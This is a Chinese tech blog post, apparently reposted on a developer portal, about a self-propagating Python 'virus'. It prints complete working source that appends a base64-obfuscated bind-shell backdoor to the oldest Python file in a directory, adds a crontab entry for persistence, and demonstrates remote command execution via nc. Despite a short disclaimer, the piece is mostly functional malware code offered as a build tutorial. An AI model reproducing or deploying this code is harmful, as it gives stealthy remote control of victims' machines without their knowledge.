自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

來看看 Python 病毒長啥樣

開發(fā) 后端
今天的文章來展示一個(gè) Python“病毒”,它感染其他 Python 文件來創(chuàng)建一個(gè)后門。后門利用 Python 的內(nèi)置 socket 模塊來創(chuàng)建一個(gè)監(jiān)聽器,用來連接到 Python 的內(nèi)置子進(jìn)程模塊,從而靶機(jī)上執(zhí)行命令,同時(shí)還通過創(chuàng)建一個(gè) cronjob 來建立持久性,以在每天固定的時(shí)間運(yùn)行后門。最終完整的 Python 腳本包含在本文末尾。

[[438965]]

大家好,抱歉偷懶了幾天,最近的作息也逐漸規(guī)律起來,更新也會(huì)盡量在早上 7 點(diǎn)前發(fā)出。接下來的日子里,讓我們繼續(xù)玩轉(zhuǎn) Python。

今天的文章來展示一個(gè) Python“病毒”,它感染其他 Python 文件來創(chuàng)建一個(gè)后門。后門利用 Python 的內(nèi)置 socket 模塊來創(chuàng)建一個(gè)監(jiān)聽器,用來連接到 Python 的內(nèi)置子進(jìn)程模塊,從而靶機(jī)上執(zhí)行命令,同時(shí)還通過創(chuàng)建一個(gè) cronjob 來建立持久性,以在每天固定的時(shí)間運(yùn)行后門。最終完整的 Python 腳本包含在本文末尾。注意:請(qǐng)不要將本文中提供的 Python 腳本用于惡意目的。雖然它不先進(jìn),但經(jīng)過一些修改,它可以讓完全控制某人的計(jì)算機(jī)。本文的主要目的是通過這些腳本,更好地了解黑客如何獲取正常程序并使它們成為惡意程序。

話不多說,讓我們開始吧。

1、建立通信

任何后門最重要的部分都是建立通信?,F(xiàn)在,讓我們?yōu)楹箝T訪問編寫一段代碼。通過 TCP 連接到靶機(jī),我們使用套接字模塊監(jiān)聽黑客的連接請(qǐng)求。在 socket 模塊中,有一個(gè)函數(shù)也稱為 socket,我們可以使用它來創(chuàng)建 TCP 或 UDP 套接字。使用 socket.socket 函數(shù)創(chuàng)建套接字時(shí),我們需要提供兩個(gè)參數(shù)來指定我們要使用的 IP 版本和第 4 層協(xié)議。在這個(gè) Python 腳本中,我們將傳入以下參數(shù):socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4
  • SOCK_STREAM :指定 TCP 而不是 UDP。
  • socket.socket 函數(shù)返回一個(gè)對(duì)象,該對(duì)象由最終確定正在創(chuàng)建的套接字是偵聽套接字(服務(wù)器)還是連接套接字(客戶端)的方法組成。要?jiǎng)?chuàng)建偵聽套接字,需要使用以下方法:
  • bind > 將 IP 地址和端口綁定到網(wǎng)絡(luò)接口
  • listen > 指示我們的套接字開始監(jiān)聽傳入的連接
  • accept > 接受傳入連接
  • recv > 從連接的客戶端接收數(shù)據(jù)
  • send > 向連接的客戶端發(fā)送數(shù)據(jù)

然而,最重要的方法是 recv 和 send。recv 方法會(huì)接收來自攻擊者的命令,使用 subproces.run 函數(shù)在受害者的系統(tǒng)上執(zhí)行它們,然后將執(zhí)行命令的標(biāo)準(zhǔn)輸出重定向到與攻擊者建立的 TCP 連接。下面是 Python 代碼:

  1. from socket import socket, AF_INET, SOCK_STREAM 
  2. from subprocess import run, PIPE 
  3. from os import _exit 
  4.  
  5.  
  6. def serve(): 
  7.     with socket(AF_INET, SOCK_STREAM) as soc: 
  8.         # [*] The obfuscated values are just the IP address and port to bind to 
  9.         soc.bind((ip, 端口)) 
  10.         soc.listen(5) 
  11.         while True
  12.             conn, _ = soc.accept() 
  13.             while True
  14.                 cmd = conn.recv(1024).decode("utf-8").strip() 
  15.                 cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE) 
  16.                 if cmd_output.returncode == 0: 
  17.                     conn.send(bytes(cmd_output.stdout)) 
  18.                 else
  19.                     continue 
  20.  
  21.  
  22. serve() 

2、感染目標(biāo) Python 文件

這段程序通過遍歷指定目錄(最好是用戶的主目錄)并查找修改時(shí)間最早的 Python 腳本。這里是測(cè)試,因此不是感染所有 Python 文件,而僅感染修改時(shí)間最早的文件。感染一個(gè) Python 文件對(duì)于控制靶機(jī)來說已經(jīng)夠了。

  1. def MTRkYmNubWx(self): 
  2.     YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\" 
  3.     for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): 
  4.         for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): 
  5.             if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__: 
  6.                 continue 
  7.             eHhtbG1vZGF0 = stat(f).st_mtime 
  8.             ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) 
  9.             if not self.Z2hhenh4ZGwK: 
  10.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  11.             elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: 
  12.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  13.     self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0]) 

上述代碼的部分變量使用了混淆,讓人不易看懂,其實(shí)很簡(jiǎn)單,就是使用 os 模塊中定義的 walk 和 stat 函數(shù)來遍歷目錄文件并獲取它們的修改時(shí)間。獲得的每個(gè)文件的修改時(shí)間被轉(zhuǎn)換為 datetime.datetime 對(duì)象,以便我們可以使用 > < 和 == 等運(yùn)算符輕松比較日期。在這個(gè)函數(shù)的最后,選定的目標(biāo) Python 文件名被傳遞到將后門服務(wù)器代碼注入其中的函數(shù)。

3、通過 crontab 任務(wù)來持久化

這個(gè) Python 后門的最后一個(gè)函數(shù)使用 subprocess.run 函數(shù)來調(diào)用一個(gè) Linux shell 命令,該命令將在當(dāng)前用戶的 crontab 文件中創(chuàng)建一個(gè)條目。此條目指定計(jì)劃的 cronjob 應(yīng)在每天 14:00 定時(shí)運(yùn)行。添加 crontab 對(duì)應(yīng)的 shell 命令如下:

  1. echo '00 14 * * * file_name | crontab - 

然后我們讓 Python 把上一步感染的文件添加到 crontab 中:

  1. def YWZhdGhjCg(self): 
  2.     if self.bGpqZ2hjen == "Linux":  
  3.         run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True

4、最終的完整代碼

  1. #!/usr/bin/env python3 
  2. from os.path import expanduser 
  3. from os import walk, stat 
  4. from sys import path 
  5. from glob import glob 
  6. from platform import system 
  7. from base64 import b64encode, b64decode 
  8. from subprocess import run, PIPE 
  9. from datetime import datetime 
  10.  
  11.  
  12. class eHhjemR5eXB: 
  13.     def __init__(self, cHlkYWNhZWFpa): 
  14.         self.cHlkYWNhZWFpa = cHlkYWNhZWFpa 
  15.         self.bGpqZ2hjen = system() 
  16.         self.aWFmYXRye = "0.0.0.0" 
  17.         self.ZmFsa2p0aGM = 0x401 
  18.         self.Z2hhenh4ZGwK = None 
  19.  
  20.     def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC): 
  21.         YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM" 
  22.         YWxmanRob += b"\nfrom subprocess import run, PIPE" 
  23.         YWxmanRob += b"\ndef serve():" 
  24.         YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:" 
  25.         YWxmanRob += bytes( 
  26.             f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))'"utf-8" 
  27.         ) 
  28.         YWxmanRob += b"\n\t\tsoc.listen(5)" 
  29.         YWxmanRob += b"\n\t\twhile True:" 
  30.         YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()" 
  31.         YWxmanRob += b"\n\t\t\twhile True:" 
  32.         YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()' 
  33.         YWxmanRob += ( 
  34.             b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)" 
  35.         ) 
  36.         YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:" 
  37.         YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))" 
  38.         YWxmanRob += b"\n\t\t\t\telse: continue" 
  39.         YWxmanRob += b"\nserve()" 
  40.  
  41.         YWxmanRob_base64 = b64encode(YWxmanRob) 
  42.         cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n" 
  43.         cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;' 
  44.         cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format( 
  45.             YWxmanRob_base64.decode() 
  46.         ) 
  47.  
  48.         with open(dGR6eGFteXBxC, "a"as f: 
  49.             f.write(cXBxZXJjYQ) 
  50.         self.ZmFsa2p0aGM += 1 
  51.  
  52.     def MTRkYmNubWx(self): 
  53.         YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\" 
  54.         for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): 
  55.             for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): 
  56.                 if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__: 
  57.                     continue 
  58.                 eHhtbG1vZGF0 = stat(f).st_mtime 
  59.                 ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) 
  60.                 if not self.Z2hhenh4ZGwK: 
  61.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  62.                 elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: 
  63.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  64.         self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0]) 
  65.  
  66.     def YWZhdGhjCg(self): 
  67.         if self.bGpqZ2hjen == "Linux"
  68.             run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True
  69.  
  70.  
  71. if __name__ == "__main__"
  72.     # For traversing the user's home directory 
  73.     # aGdsZGFx = expanduser('~'
  74.     # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx) 
  75.     YmNjLGFka2x = eHhjemR5eXB("./test"
  76.     YmNjLGFka2x.MTRkYmNubWx() 
  77.     YmNjLGFka2x.YWZhdGhjCg() 

在靶機(jī)執(zhí)行該代碼后,會(huì)感染 ./test 目錄中最早修改的文件(目標(biāo)文件),會(huì)自動(dòng)在目標(biāo)文件的最后添加這兩行代碼:

  1. from subprocess import run 
  2. run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG 

是不是非常隱蔽?

5、訪問后門

為了測(cè)試,我們手動(dòng)執(zhí)行下感染的文件,而不是等待 crontab。

  1. ~ # crontab -l 
  2. 37 13 * * * /root/transferfile/transfile_interface.py 
  3. ~ # cd transferfile/ 
  4. ~/transferfile # python transfile_interface.py 
  5. ~/transferfile #  

程序正常結(jié)束,沒有任何異常。然后使用 nc localhost 1025 來反彈一個(gè) shell,在這里執(zhí)行 ls, whoami 就是靶機(jī)的信息了:

這里演示的 localhost 即為靶機(jī),真實(shí)場(chǎng)景下就是靶機(jī)的 ip 地址。現(xiàn)在靶機(jī)已經(jīng)完全被控制了,而受害者完全不知情。

最后的話 

現(xiàn)在,你已經(jīng)學(xué)習(xí)了如何使用 Python 編程語言創(chuàng)建持久性后門,學(xué)習(xí)了如何使用 Python 的 socket 模塊、如何遍歷目錄以及如何創(chuàng)建 crontab 任務(wù)。如果要感染真實(shí)靶機(jī),還要學(xué)會(huì)如何分發(fā)這個(gè)后門程序,這里不做探討。

 

責(zé)任編輯:武曉燕 來源: Python七號(hào)
相關(guān)推薦

2022-04-07 07:51:40

代碼結(jié)構(gòu)設(shè)計(jì)

2013-12-03 10:33:51

微軟Windows 9

2018-02-25 23:12:16

2014-11-05 10:08:50

2020-01-09 10:03:41

AI 數(shù)據(jù)人工智能

2022-10-10 11:32:01

數(shù)據(jù)分析技術(shù)

2021-06-24 05:40:28

Windows 10操作系統(tǒng)微軟

2020-05-07 14:59:52

iOS 13.5蘋果更新

2015-09-11 09:59:04

阿里云數(shù)據(jù)中心

2011-09-29 10:13:54

IBM私有云云計(jì)算

2020-04-29 09:30:48

Google面試題工程師

2021-02-06 14:36:39

數(shù)字人民幣數(shù)字貨幣區(qū)塊鏈

2020-07-21 14:40:45

Spring Boot單元測(cè)試Java

2013-10-29 09:35:54

Windows 9概念圖

2020-04-16 12:04:09

5G基站4G

2020-11-02 07:59:40

高并發(fā)系統(tǒng)業(yè)務(wù)

2020-01-07 08:44:33

5G網(wǎng)絡(luò)4G

2025-02-24 09:56:13

交換機(jī)網(wǎng)絡(luò)通信

2021-06-24 05:39:16

Windows 1操作系統(tǒng)微軟
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)